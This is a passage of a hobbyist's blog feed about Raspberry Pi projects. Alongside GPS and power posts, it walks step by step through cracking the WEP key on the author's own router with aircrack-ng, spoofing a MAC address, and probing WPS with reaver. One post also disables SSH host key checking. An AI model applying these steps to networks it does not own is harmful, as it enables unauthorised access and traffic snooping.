Unsurprisingly the PI did not show up at the IP address I expected but, one did show up in the list that made me think.

Fed up with doing <a href="http://www.jumpstation.co.uk/flog/May2013.html?#190520131209">this</a> every time I want to ssh to a PI, I had decided with the all the other <a href="http://www.jumpstation.co.uk/flog/Aug2013.html#180820132217">networking</a> to setup static IP is DHCP for the PI's.

The IP address this PI had, was DHCP'd *BEFORE* the static values had been setup. The DHCP lease had then expired and the router had dutifully supplied the new *STATIC* IP, bouncing my connections.

Well at least I know it works ;)
</description>
</item>
<item>
<title>Sky ate my wifi</title>
<pubDate>Sun, 18 Aug 2013 22:17:57 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2013.html#180820132217</link>
<description>
I had a Linksys WRT54G(not the linux one) that I had replaced a previous Linksys wifi router(that I dropped and immediately stopped working).
But over the last six months it has got more an more flaky, where no errors are reported on the admin interface but the wifi just does not work. The fix was straight forward, disconnect power count to ten and reconnect, unfortunately we were not always in a position to do so.

Its worth pointing out that my change in the <a href="http://www.jumpstation.co.uk/flog/May2013.html#180520132054">security</a> had no bearing on this.

I had disabled the wifi on the router Sky gave us for broadband as soon as we got it(Sagemcom), so I turned it on and it just worked, security and all, very happy.
Best of all it <a href="http://www.jumpstation.co.uk/flog/May2013.html#190520131105">also was too old</a> to have <a href="http://www.jumpstation.co.uk/flog/May2013.html#180520132054">WPS insecurities</a>.

Then a couple of months later we had a power cut, no idea what caused it, circuit breakers tripped everything in the house dead.

Reset the breakers, turned everything on and the PC has internet, but there is no wifi.

Check wifi settings, the ESSID is still set but no security or other settings.

hmmmm, so I re-add them and they do not show, try three, four more times, sometimes some settings would stick, but lose others.

Tried factory reset but, no luck.

Found that nowhere sells a Wifi Access point on its own, they are all routers ...

Bought a Netgear N300 wireless router.

For some reason I tried following the setup information included in the box. Step one: "connect Yellow cable from internet socket to 'internet'", what I should have realised was that that was not what I wanted, as I then spent two hours switching networks to try and set it up as a wifi access point.
It was only once all the dust had settled and I had tucked cables away and velcro'd the thing to a unit that I realised that the 'other' ports on the device (marked LAN) were what I really wanted.
Found a <a href="http://kb.netgear.com/app/answers/detail/a_id/19852/~/set-up-a-wireless-router-as-an-access-point-on-a-network">nice guide</a> after a number of Netgear forum post said this was just not possible.
After disconnecting the 'Internet' cable and ONLY using the LAN, disabling DHCP and few other tweaks and I was in a sensible place.

The main reason I had chosen Netgear was numerous posts from them stating they DID have the ability to not only disable WPS but that if any brute force attempt was made then the router would lock the WPS for a period before allow any more attempts.
Needless to say I disabled it completely but then ran <a href="http://www.jumpstation.co.uk/flog/May2013.html#190520131105">'wash'</a> and it showed WPS LOCKED.
<a href="http://www.jumpstation.co.uk/flog/May2013.html#190520131105">'reaver'</a> also confirmed this.
<code>sudo reaver -i mon0 -b 00:00:DE:AD:BE:EF -Avv</code>
<code class="output">Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from 00:00:DE:AD:BE:EF
[+] Switching mon0 to channel 1
[+] Switching mon0 to channel 2
[+] Switching mon0 to channel 3
[+] Switching mon0 to channel 4
[+] Switching mon0 to channel 5
[+] Switching mon0 to channel 6
[+] Associated with 00:00:DE:AD:BE:EF (ESSID: MYESSID)
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
^C
[+] Nothing done, nothing to save.</code>

Why did I test WPS when I knew it was disabled ?
<a href="http://www.securitybeacon.com/?p=1640"></a> and <a href="https://docs.google.com/spreadsheet/lv?key=0Ags-JmeLMFP2dFp2dkhJZGIxTTFkdFpEUDNSSHZEN3c">this Google spreadsheet</a> has a column called "WPS can be disabled (and it stays off!)" that worrying has yes few times than you would expect.
</description>
</item>
<item>
<title>greping a stream then you might need a line buffer</title>
<pubDate>Mon, 01 Jul 2013 21:11:23 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2013.html#010720132111</link>
<description>
When I tried to <a href="http://www.jumpstation.co.uk/flog/Jul2013.html#010720132105">capture the live GPS data from gpspipe with grep</a> I hit a strange problem, grep would not return any results.
Now normally I use grep on static files and it just "works" but here we are using a stream as the input not a file. The --line-buffered reduces performance but makes sure no buffering confuses your hacker.
<code>gpspipe -w |grep --line-buffered -o \"PRN\":[0-9]* | tee satPRN.list</code>

</description>
</item>
<item>
<title>Grep your GPS satellites</title>
<pubDate>Mon, 01 Jul 2013 21:05:04 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2013.html#010720132105</link>
<description>
A couple of thing s I missed off the <a href="http://www.jumpstation.co.uk/flog/Jul2013.html#010720132034">last post</a> about GPS.
For one thing the GPS unit is magnetised, which I only realised after it stuck to the Pi.
The other thing was I specially noted that I plugged it in to a "recommended USB 2.0 HUB" but when I measured the voltage across <a href="http://elinux.org/R-Pi_Troubleshooting#Troubleshooting_power_problems">TP1 and TP2</a> there was no change in voltage, it was using less than 0.01 volt!
Which means it should be ideal for a car project.
I was also interested in how many satellite it might spot sitting on the window sill for 20 hours.
<code>gpspipe -w |grep --line-buffered -o \"PRN\":[0-9]* | tee satPRN.list</code>
Where gpspipe is just an interface to the constant chatter from the GPS receiver, grep filters to the PRN information and tee allows the output to got to the standard display and a file.
20 hours later and a [CTRL+c]
<code>cat satPRN.list | sort -u | grep -o [0-9]* | sort -n</code>
First sort and only return unique lines then get the numbers and finally sort numerically.
<code class=output">1
2
3
4
6
11
12
14
17
19
20
27
32</code>
</description>
</item>
<item>
<title>GPS enabling the raspberry pi</title>
<pubDate>Mon, 01 Jul 2013 20:34:48 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2013.html#010720132034</link>
<description>
After the last <a href="http://www.jumpstation.co.uk/flog/Jun2013.html#210620131752">fun with the Raspberry Pi and USB receivers using up to much power</a>, I plugged my new USB GPS receiver into my recommended USB 2.0 HUB
<img src="images/gps.jpg" alt="photo of my USB GPS receiver next to Pi" />
<code>dmesg</code>
<code class="output">usb 1-1.2: new full-speed USB device number 4 using dwc_otg
[  263.542791] usb 1-1.2: New USB device found, idVendor=067b, idProduct=2303
[  263.542823] usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[  263.542839] usb 1-1.2: Product: USB-Serial Controller
[  263.542852] usb 1-1.2: Manufacturer: Prolific Technology Inc.
[  263.636431] usbcore: registered new interface driver usbserial
[  263.638140] usbcore: registered new interface driver usbserial_generic
[  263.639810] USB Serial support registered for generic
[  263.639852] usbserial: USB Serial Driver core
[  263.649830] usbcore: registered new interface driver pl2303
[  263.650487] USB Serial support registered for pl2303
[  263.650603] pl2303 1-1.2:1.0: pl2303 converter detected
[  263.664213] usb 1-1.2: pl2303 converter now attached to ttyUSB0</code>
<code class="output">lsusb</code>
<code class="output">Bus 001 Device 002: ID 0424:9512 Standard Microsystems Corp. 
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. 
Bus 001 Device 004: ID 067b:2303 Prolific Technology, Inc. PL2303 Serial Port</code>
So it is a serial device ...
<code>sudo apt-get update
sudo apt-get upgrade
sudo apt-get install gpsd gpsd-clients python-gps</code>
That gets me lots of GPS related stuff to play with ...
<code>sudo killall gpsd
sudo rm /var/run/gpsd.sock
sudo gpsd -n /dev/ttyUSB0
cgps</code>
[CTRL+c] will quit cgps.
If you are happy your GPS is working you can kill all the chatter by running it in silent mode.
<code>cgps -s</code>
When running (in either mode) the right hand box is the <a href="http://en.wikipedia.org/wiki/Satellite">Satellites</a> and the left is current status.
<code class="output">PRN:   Elev:  Azim:  SNR:  Used:</code>
<a href="http://en.wikipedia.org/wiki/List_of_GPS_satellites">PRN</a> is the Psuedo Random Number that differentiates the satellites from one another also referred to as <a href="http://en.wikipedia.org/wiki/Gold_code">Gold Codes</a>, just think of it as the GPS satellites ID
Elev is Elevation and Azim is <a href="https://en.wikipedia.org/wiki/Azimuth>Azimuth</a>
SNR is Signal to Noise Ratio and if too low the satellite information should not be used.
and Used is flag indicating if this satellite is being used in the calculations.

After a bit I had no satellites and a cat sitting on the GPS receiver, it needs unobstructed line of sight to the GPS satellites.
You need 3 satellites for basic location and a minimum of 4 for full 3D location, more the merrier.
</description>
</item>
<item>
<title>miss-fueling when will the government step in</title>
<pubDate>Fri, 21 Jun 2013 18:01:08 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2013.html#210620131801</link>
<description>
Every six seconds someone in the UK 'miss-fuels' and one of them was me.
Not a good month using the <a href="/flog/tags.html?tag=fool">fool</a> tag twice(so far).
Needless to say it was a painful experience both from the cost but all so the time lost, and not only to me.
</description>
</item>
<item>
<title>pi problems, blame the psu, really</title>
<pubDate>Fri, 21 Jun 2013 17:52:57 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2013.html#210620131752</link>
<description>
Having had no problems with the venerable <a href="/flog/tags.html?tag=raspberrypi">Raspberry Pi</a> I asked for a second one for my birthday.
I wanted this new one to be car based and also got a <a href="/flog/tags.html?tag=wifi">wifi dongle</a> and USB GPS(blog post pending) device.
But the fates were against me, I had also purchased a USB micro cable from eBay and it is fair to say I chose the absolutely cheapest cable possible. After all USB cables are USB cables, right?

WRONG!

Repeatedly I found my new Pi dead, unable to boot and spewing all manor of error messages that could be in some way(sometimes very obscure) linked to file system corruption.

**I need to stop a moment and reiterate that last point REALLY BIZARRE issues, that after hours of tacking down were missing files or files that no longer ran, for instance 'sed' decided to become un-runnable, which screwed up all sorts of boot processes that then gave wacky error messages.**

I first blamed the SD card as it was also new and spent some time trying to prove it was <a href="https://www.google.co.uk/search?q=ebay+fake+sd+cards">fake</a>, but all the evidence pointed to it being genuine.
It did not help that SD cards and my Linux systems have never been 100% reliable, but I tracked that down to the readers needing a powered USB hub even when plugged directly into the case.

On a positive note I did become and expert at backing up and restoring SD cards :p

First off, if it all goes wrong, try
<code>fsck.ext4 /dev/sdc2</code>
from a separate linux machine, this seemed to do something but still got an error trying to mount it
<code class=out">mount: wrong fs type, bad option, bad superblock on /dev/sdc2,
       missing codepage or helper program, or other error
       In some cases useful info is found in syslog - try
       dmesg | tail or so</code>

but run it again and it asks me loads of questions (just say yes)
<code>fsck.ext4 /dev/sdc2</code>
and it can mount !!
hallelujah
Quickly as possible recover just the files you really can not live without.
And then trash it. Now I thought the 'trashing' bit would be easy, 'dd' is a block level operation, but after a few tries I ended up getting a Windows 7 machine remove all partitions and reformat it and only then did 'dd' produce a winning image.

Note: 'dd' gives no feedback while it is writing so I prefer 'dcfldd', just remember to set the sizeprobe to 'if' for the input and 'of' for output.

<code>time dcfldd bs=4M if=/home/user/Downloads/raspberrypi/2013-02-09-wheezy-raspbian.img of=/dev/sdc statusinterval=1 sizeprobe=if</code>
takes 30 mins
and so does
<code>time dcfldd if=/dev/zero of=/dev/sdc statusinterval=1 sizeprobe=of</code>
But that may shorten the life of your SD card.

Once I had the base image working(run the following on the Pi)
<code>sudo apt-get update
sudo apt-get upgrade -y
sudo apt-get install git-core -y
sudo wget http://goo.gl/1BOfJ -O /usr/bin/rpi-update && sudo chmod +x /usr/bin/rpi-update
sudo rpi-update
sudo reboot</code>

now up to date the Pi's IP address had changed and rather than run nmap I tried a little bash.
I knew the DHCP would give it a number in the 30-50 range and that the first 5 were taken.

for i in {36..50}; do ping 192.168.1.$i -W 1 -c 1 >/dev/null&&echo 192.168.1.$i; done
Pi found

Now I could start testing the power ...


To avoid running all that AGAIN, if I need to rebuild the SD card I can backup the Pi while it runs from Linux with
<code>ssh pi@192.168.1.38 sudo dd bs=4M if=/dev/mmcblk0 | gzip -c > raspberry_dd_4M.img.gz</code>
or from a linux card reader <code>dd if=/dev/sdc bs=4M | gzip > rasppi_4M.img.gz</code>
and the obligatory recovery command
<code>gunzip -dc /home/user/raspberry_dd_4M.img.gz | dcfldd bs=4M of=/dev/sdc</code>
The progress bar option for dcfldd did not work here :( 

Always try your recovering from your backup plan ...
Notice all the references to 'bs=4M' (Block Size) in the command and then filename, if you miss that then it does not work!
There is nothing worse than having a disaster and going to your backup, finding it does not work(a situation I have experienced first hand with DAT tapes in an enterprise).

So all this slowly led to the conclusion that something *Hardware* related was the issue.
There are many reports <a href="http://www.raspberrypi.org/phpBB3/viewtopic.php?f=28&t=25803">such as this</a> that indicate the problem is power related.
And there are an equal number of people retorting with "But my power supply IS rated for 5v" and then finding it really isn't.


So using the instructions <a href="http://elinux.org/R-Pi_Troubleshooting#Troubleshooting_power_problems">here</a> I found that...

with my Motorola mains plug and the Motorola USB cable
<table>
   <tr>
	 <th>Volts</th>
	 <th>State</th>
   </tr>
	<tr>
		<td>4.92</td>
		<td>boot</td>
	</tr>
	<tr>
		<td>4.89</td>
		<td>ls -lR /</td>
	</tr>
	<tr>
		<td>5.05</td>
		<td>halt</td>
	</tr>
</table>
Which ran with no problems.
Then again with the bad cable from eBay.
<table>
   <tr>
	 <th>Volts</th>
	 <th>State</th>
   </tr>
	<tr>
		<td>4.71</td>
		<td>boot</td>
	</tr>
	<tr>
		<td>4.66</td>
		<td>ls -lR /</td>
	</tr>
	<tr>
		<td>4.99</td>
		<td>halt</td>
	</tr>
</table>
Which repeatedly "killed" my SD card.
Where "boot" was during the Pi booting up, then <code>ls -lR /</code> read the folder for every file on the root partition, this stressed the SD card and finally after shutting down the Pi OS so it was still receiving power and the Red LED was on but nothing else was drawing power in the "halt" state.
In hindsight it would have made sense to do some kind of write stress test as SD writes are known to draw additional power.
I got almost exactly the same results with another mains USB plug using the same cables.

Its all eBay's fault !! 
(workman, tools ...)
</description>
</item>
<item>
<title>Demarks tripple whammy, not my fault</title>
<pubDate>Fri, 21 Jun 2013 17:50:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2013.html#210620131750</link>
<description>
So it turns out that <a href="http://en.wikipedia.org/wiki/Denmark">Denmark</a> does not use Euros and that the Currency Exchange at the airport can not exchange Euros for <a href="http://en.wikipedia.org/wiki/Danish_krone">Danish Krone</a> but have to make a transaction to GDP first.
Double whammy(triple if you count the original GDP->Euros transaction). All fool me.
</description>
</item>
<item>
<title>Automatic pi wifi wpa2 connection</title>
<pubDate>Sun, 19 May 2013 12:44:10 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2013.html#190520131244</link>
<description>
Making the wifi settings for WPA2(AES) permanent after getting them working <a href="/flog/May2013.html#190520131158">manually</a>.
<code>sudo vi /etc/network/interfaces</code>
and either comment out the WEP lines or just replace everything with
<code>auto lo

iface lo inet loopback
iface eth0 inet dhcp

auto wlan0
allow-hotplug wlan0
iface wlan0 inet dhcp
wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf</code>
After a reboot the wifi comes up automatically, but a quick side note...
Before I got that to work I tried a '/etc/network/interfaces' file with
<code>auto lo

iface lo inet loopback
iface eth0 inet dhcp

allow-hotplug wlan0
iface wireless1 inet dhcp
wpa-ssid MYESSID
wpa-psk AREALLYREALLYLONGPSSPHRASENOMAKEITLONGER!</code>
And after a reboot I could run <code>sudo ifup wlan0=wireless1</code>
Which would connect and setup IP from dhcp.
But what ever I tried I could not get it to automatically happen from the '/etc/network/interfaces' file, but I did find others who had simply added <code>sudo ifup wlan0=wireless1</code> to their start up scripts.
YMMV
</description>
</item>
<item>
<title>ssh pi swapping warning fix</title>
<pubDate>Sun, 19 May 2013 12:09:58 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2013.html#190520131209</link>
<description>
All this messing about with my network <a href="/flog/May2013.html#180520132054">[1]</a>, <a href="/flog/May2013.html#190520131158">[2]</a> means that ssh is not happy when I try and connect.
<code class="out">@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ECDSA key sent by the remote host is
DE:AD:BE:EF:DE:AD:BE:EF:DE:AD:BE:EF:DE:AD:BE:EF.
Please contact your system administrator.
Add correct host key in /home/user/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /home/user/.ssh/known_hosts:8
ECDSA host key for 192.168.10.142 has changed and you have requested strict checking.
Host key verification failed.</code>
Which I had seen before when I put a SD card from one Raspberry Pi into another. Quickest way to fix it is to just remove the line for that IP address in the '/home/user/.ssh/known_hosts' file. But doing that every time quickly becomes a pain. 
So to fix it long term you can white list the IP address for ssh (I know very insecure).
ssh key changed --
<code>vi ~/.ssh/config</code>
and add these three lines <code>Host 192.168.10.142
    StrictHostKeyChecking no
    UserKnownHostsFile=/dev/null</code>
</description>
</item>
<item>
<title>Testing the Pi with WPA2</title>
<pubDate>Sun, 19 May 2013 11:58:19 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2013.html#190520131158</link>
<description>
After switching to WPA2(AES) I was happily surprised to find that all the devices I connected to it just worked, now to get the Pi working...

<code>wpa_passphrase MYESSID AREALLYREALLYLONGPSSPHRASENOMAKEITLONGER!</code>
produces
<code class="out">network={
	ssid="MYESSID"
	#psk="AREALLYREALLYLONGPSSPHRASENOMAKEITLONGER!"
	psk=6c2e62aa8e220a890bafbfbe2aab76e3b600b06a0e451e5b6d49f717461c2d63
}</code>
which you need to add to '/etc/wpa_supplicant/wpa_supplicant.conf'
<code>sudo vi /etc/wpa_supplicant/wpa_supplicant.conf</code>
Now to test the setup run <code>sudo wpa_supplicant -c/etc/wpa_supplicant/wpa_supplicant.conf -iwlan0 -d</code>
What is this? 
I just got constantly scrolling random messages, not good.
But the wifi dongle light was on indicating it HAD connected.
<code>sudo dhclient wlan0</code>
Gave no response for ages then ended, no error and it killed the dongle light while trying.
Turns out my passphrase is to good! Well it had some special character in it that needed to be treated with double quotes and a backslash escaping the special characters.
No with the fixed config, the test said it had associated and did not scroll <code>sudo wpa_supplicant -c/etc/wpa_supplicant/wpa_supplicant.conf -iwlan0 -d</code>
<code class="out">EAPOL: External notification - EAP success=1
EAPOL: SUPP_PAE entering state AUTHENTICATING
EAPOL: SUPP_BE entering state SUCCESS
EAP: EAP entering state DISABLED
EAPOL: SUPP_PAE entering state AUTHENTICATED
EAPOL: Supplicant port status: Authorized
EAPOL: SUPP_BE entering state IDLE
EAPOL authentication completed successfully</code>
Now <code>sudo dhclient wlan0</code> returns
sudo dhclient wlan0
<code class="out">RTNETLINK answers: File exists</code>
but worked!

Now to make it permanent
</description>
</item>
<item>
<title>Reaver can not eat my WPS</title>
<pubDate>Sun, 19 May 2013 11:05:00 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2013.html#190520131105</link>
<description>
Right, to test if your WPA2 router has WPS enabled and is attackable you need <a href="http://reaver-wps.googlecode.com/">reaver-wps</a>.

As this is a continuation of my previous investigations <a href="/flog/May2013.html#150520132018">[1]</a>,<a href="/flog/May2013.html#150520132025">[2]</a> I will assume you already have everything else installed.
<code>sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev
svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps-read-only
cd reaver-wps-read-only/src
./configure
make
sudo make install</code>

Once again we need to make sure nothing interferes with the wifi.
<code>sudo /etc/init.d/ifplugd stop
sudo killall ifplugd</code>

Then start up the monitor mode on the device.
<code>sudo airmon-ng start wlan0</code>
and kick off <a href="http://reaver-wps.googlecode.com/">reaver-wps</a>
<code>sudo reaver -i mon0 -b 00:00:DE:AD:BE:EF -A</code>
(where 00:00:DE:AD:BE:EF is the MAC address of the router)
This stated it was Associated and showed the routers ESSID but never did anything. 
[CTRL]+c to exit gave the response.
<code class="out">[+] Nothing done, nothing to save.</code>
<a href="http://reaver-wps.googlecode.com/">reaver-wps</a> also comes with 'wash' (previously called 'walsh') that can scan for vulnerable systems.
It was built as part of the package so just run.
<code>sudo wash -i mon0 -C -s</code>
Did take a while but slowly all the access points in my area showed up on the list, minus my own.
Safe!
</description>
</item>
<item>
<title>Switching to WPA2 and about time</title>
<pubDate>Sat, 18 May 2013 20:54:01 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2013.html#180520132054</link>
<description>
So after all that fun last time with WEP <a href="/flog/May2013.html#150520132018">[1]</a>,<a href="/flog/May2013.html#150520132025">[2]</a>, I immediately changed the router to use WPA2(AES) and started looking for how to crack that.
Well-l-l it seems that WPA2(AES) is just about as secure as you can get without installing an enterprise RADIUS server, with a couple of caveats;
You must use a strong passphrase.
You should ensure the ESSID of the access point is not a dictionary word or one of the <a href="http://www.wigle.net/gps/gps/main/ssidstats">1000 most common ESSIDs</a>.
Your wireless router MUST have WPS disabled.

So I got the first one covered, almost the full possible passphrase length of 63 characters, including special characters, upper/lower case etc.
I decided not to change my ESSID, its not very long but it is also not a dictionary word nor is it in the <a href="http://www.wigle.net/gps/gps/main/ssidstats">list</a> ( I also checked another site that had all the ESSIDs recorded for positioning information).
Now the last one is the most worrying. WPS is that special button on your router that allows you to avoid typing in a long password/passphrase for new machines, just press and try and connect quickly enough. There is a tool that will crack that special code rather quickly and once it has that code it can work out your passphrase. And what is worse a large number of routers (read the majority) have an issue that this setting CAN NOT BE TURNED OFF and even if the setting exists and you set it to disabled, its STILL ENABLED.

Luckily my router is so old that is does not have full WPS and so is not vulnerably. 
And in the next post I will detail how I confirmed that.

So why the long passphrase?
ANY and I mean ANY sort of encryption CAN be BROKEN with enough time and resources, but if it is going to take an attacker longer than the <A href="http://en.wikipedia.org/wiki/Heat_death_of_the_universe">heat death of the universe</a> to try, then I can live with that.
An attacker can try (as any legitimate device can) to connect with the access point and try a passphrase of 'a' and when that fails 'b' then 'c' and so until they have tried every single characters and then they can, then try 'aa', 'ab' etc in turn until they have tried every possible character combination for every possible key length.
Remember I have <a href="http://www.jumpstation.co.uk/misc/pin.numbers">YOUR credit card PIN number</a> :)

The passphrase is 'salted' with the ESSID so attackers can not create rainbow tables of precomputed passphrases unless they knew the ESSID in advance, "linksys" &lt;cough&gt;
</description>
</item>
<item>
<title>WEP key recovery with the Pi</title>
<pubDate>Wed, 15 May 2013 20:25:16 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2013.html#150520132025</link>
<description>
<a href="/flog/May2013.html#150520132018">Last time</a> we made sure we could find a Authenticated MAC address and assign it to our hardware.

Before we go any further set the MAC address to a known client
sudo ifconfig wlan0 hw ether DE:AD:BE:EF:00:00

At his point the target AP runs on channel 6 and has a MAC address of 00:00:DE:AD:BE:EF, the verified MAC address that we have set our wifi dongle to is DE:AD:BE:EF:00:00

<code>sudo apt-get install libssl-dev subversion iw</code>	
For some reason aircrack is not available in the standard packages...
<code>svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
cd aircrack-ng
make
sudo make install
sudo airodump-ng-oui-update</code>

then running 
<code>sudo airmon-ng start wlan0</code>
warns us that ifplugd and dhclient might cause interference. Sure enough we try to monitor our target ESSID with
<code>sudo airodump-ng -c 6 --w wep --bssid 00:00:DE:AD:BE:EF mon0</code>
We get nothing, removing the channel (-c) and AP MAC address (--bssid) then we get stuck on the wrong channel.
&lt;snip&gt;Here I remove the hours of things I tried to force the dongle to the right channel.&lt;/snip&gt;
<code>sudo airmon-ng stop wlan0
sudo airmon-ng stop mon0</code>
<code>sudo /etc/init.d/ifplugd stop</code>
Stops the daemon from running any new instances but we still need to kill the existing one.
<code>sudo killall ifplugd</code>
<code>sudo airmon-ng start wlan0
sudo airodump-ng -c 6 --w wep --bssid 00:00:DE:AD:BE:EF mon0</code>

This shows the packets being sent to the clients, we have not got a WEP key so we can not decrypt them.
Leave that running and start another shell on the Pi (for me that is just open another console on my main machine and start ssh again, but you can get clever with 'screen' and swap between them).

<code>sudo aireplay-ng -1 900 -o 1 -q 10 -a 00:00:DE:AD:BE:EF -h DE:AD:BE:EF:00:00 mon0</code>
This has now authenticated our connection (even though we still do not have the key)
If you get an error about the channel being wrong, stop both interfaces in the airmon-ng shell and start it again with
<code>sudo airmon-ng start wlan0 6</code>
Now you will either get an Association or it will keep reporting Keep Alive packets. I found I needed those Keep Alives.
Start yet another shell and run
<code>sudo aireplay-ng -3 -b 00:00:DE:AD:BE:EF -h DE:AD:BE:EF:00:00 mon0</code>
This is the clever bit forcing the AP to reissue a specific type of packet with the WEP key encoded in it, when we have enough we can brute force the encrypted value due to some known values.

Right, switching back to the original shell wait for the #Data column to read 30,000 for a 64 bit WEP key and 60,000 for a 128bit WEP key.
For my test I captured 62563 before killing the processes(which took about 5 mins). Each one needed a [CTRL]+C
and stop the monitor interface
<code>sudo airmon-ng stop mon0</code>
<code>ls -larth</code>
shows the last file to be updated as "wep-01.cap", you can ignore the others.
Final step is to decrypt the WEP key

<code>aircrack-ng wep-01.cap</code>
in less than ten seconds I had my Key!

Just for fun I tried aircrack-ng on a much smaller number of packets
18 - Error try 5000+
5295 - Error try 10000+ (after 8mins)
13643 - Key found in less than 1 second.

sudo iwconfig wlan0 essid MYESSID key THEWEPHEXKEY
dhclient wlan0
and we are in, connected with a stolen MAC address and WEP key.

So whats the big deal? Someone can steal my internets? oh noes!

<code>sudo tcpdump -A -i wlan0</code>
shows all the packets flowing over the network and hitting my machine, including everything being done on the wifi!
I started up wifi on my phone and connected to <a href="http://www.jumpstation.co.uk">www.jumpstation.co.uk</a> and immediately saw the pages source code zooming up the screen.
Its totally unreadable but proves the point, any non SSL(HTTPS) packets can be seen by ANY client on the network.
That is, any file, any URL, any image, any email, any IM message and so on and so on.
</description>
</item>
<item>
<title>Slapping a new MAC on the Pi</title>
<pubDate>Wed, 15 May 2013 20:18:20 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2013.html#150520132018</link>
<description>
I have been using WEP encryption on my wifi for over ten years for a number of reasons.
It's the easiest form to setup and is compatible on all my different pieces of hardware, not to mention it used to be impossible to get WPA to work on linux.
But I am well aware that it can be hacked in minutes/seconds and my hardware requirements to support Wifi has changed dramatically, I am going to move to something stronger than WEP.
Before I make the move I want to see if it really is THAT easy to hack my specific setup.

My AP setup is a non hidden ESSID, with MAC address filtering and obviously, WEP encryption.
For this exercise I will be using the Raspberry PI with a <a href="http://www.jumpstation.co.uk/flog/May2013.html#100520132048">USB wifi dongle</a> with the MAC address already added to the AP MAC filtering, i.e. it all currently works.
What I want to prove is that I can determine another MAC address, use this on my wifi hardware and connect.
Once I have a working MAC address to break the WEP key and connect with the "found" MAC address and WEP key.

<code>ifconfig</code>
shows wlan0 with IP address (and the 'associated' light is on)
lets put a stop to that, bring down the interface.

<code>sudo ifconfig wlan0 down</code>

<code>sudo ifconfig wlan0 hw ether 00:11:22:33:44:55</code>
<code>SIOCSIFHWADDR: Device or resource busy - you may need to down the interface</code>
Grrr I know this was not going to be easy.

<code>sudo service ifplugd stop</code>
(does not kill ssh over ethernet)

<code>sudo ifconfig wlan0 down</code>

do not try some example MAC address such as
<code>sudo ifconfig wlan0 hw ether 01:02:03:04:05:06</code>
You can not use such an address and will get
<code>SIOCSIFHWADDR: Cannot assign requested address</code>
in response, which took me ages to figure out, after all I was copying and pasting an example from the <a href="http://thejh.net/misc/website-terminal-copy-paste">infallible internet</a>

<code>ifconfig</code>
oops where has wlan0 gone(it should just be down, not out) ?

<code>sudo service ifplugd start<code>

<code>ifconfig</code>
its back and has a new MAC address that has no access to my AP due to filtering.

this is not a hardware change and will revert on reboot or unplug/replug.

So I can change my MAC address(tried that a number of years ago and it was a no-go on anything I could get my hands on) next; find a MAC address to clone

<code>sudo apt-get install screen gpsd ncurses-dev libpcap-dev tcpdump</code>
Now we get the self configuring version of kismet
<code>wget http://www.kismetwireless.net/code/kismet-2011-03-R2.tar.gz
tar xfvz kismet-2011-03-R2.tar.gz
cd kismet-2011-03-R2
./configure
make
sudo make install</code>
This will take a while the "make" step alone took 84 mins.
You can ignore all the warnings, we are now ready to rock.
<code>sudo kismet</code>

Say "yes" to the options, including "start server"
Ignore warnings and add wlan0 as the interface("Intf") and "name", no options.
You will be left with a scrolling list of messages, mostly complaining about the lack of GPS.
Press [TAB] and then [ENTER] to close console window and list all the Access Points.

Press [~] to get to the menus.
Now select your AP and select from the menu "View/Clients".
I have a list of the MAC address for clients in the house and I can see the IPAD and Wii are both set as "Wired/AP" and one address I do not recognise that is labelled Unknown, this is the Access Point itself.

At this point we have confirmed that we can spoof a MAC address for the wifi hardware and we have identified MAC addresses that are authorised to connect, next we need the WEP key.

I made a point of noting the channel that the AP is running on and its MAC address, they will come in handy later.

Quit Kismet (selecting Kill when asked)

Next time we will recover the WEP key.
</description>
</item>
<item>
<title>Automatic WEP on the raspberry pi</title>
<pubDate>Fri, 10 May 2013 20:58:17 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2013.html#100520132058</link>
<description>
<a href="http://www.jumpstation.co.uk/flog/May2013.html#100520132048">Last time</a> we took the manual steps to connect via WEP, now its time to automate the process.
(I like to use vi/vim)
<code>sudo vi /etc/network/interfaces</code>

